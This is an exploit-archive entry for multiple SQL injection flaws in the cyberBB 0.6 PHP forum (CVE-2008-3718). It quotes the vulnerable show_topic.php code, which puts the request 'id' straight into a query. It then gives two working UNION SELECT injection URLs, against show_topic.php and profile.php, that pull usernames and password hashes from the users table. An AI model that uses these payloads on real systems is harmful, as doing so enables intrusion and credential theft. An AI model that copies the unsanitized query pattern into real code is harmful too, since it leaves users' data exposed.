cyberBB 0.6 - Multiple SQL Injections

Author: cOndemned
type: webapps
platform: php
port: 
date_added: 2008-08-17 
date_updated: 2016-12-21 
verified: 1 
codes: OSVDB-47605;CVE-2008-3718;OSVDB-47604 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comcyberbb-0.6.zip

########################################################################################
#
#   Name        :   cyberBB v. 0.6 Multiply Remote SQL Injection Vulnerabilities
#   Author      :   cOndemned [ Dark-Coders ]
#   Greetz      :   Avantura, str0ke, ZaBeaTy, voo|doo, irk4z, and many, many more...
#   Conditions  :   Magic quotes gpc = On & Off / User must be logged into
#
########################################################################################

source of /show_topic.php :

    21.     $id=$_REQUEST['id'];
    22.
    23.     if(isset($_REQUEST['p'])) $p=$_REQUEST['p']; else $p='';
    24.
    25.     $db = mysql_connect($mysql_server,$mysql_user,$mysql_pass);
    26.
    27.     mysql_select_db($mysql_db);
    28.
    29.     $sql = "SELECT * FROM `topics` WHERE `id` = $id";


 proof of concept :

    /show_topic.php?id=-1+UNION+SELECT+1,2,3,4,concat(username,0x3a,password),6,7+FROM+users/*


second sql injection (magic quotes gpc must be off):

    /profile.php?user='-1+UNION+SELECT+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11+FROM+users/*


just 4 fun

# milw0rm.com [2008-08-18]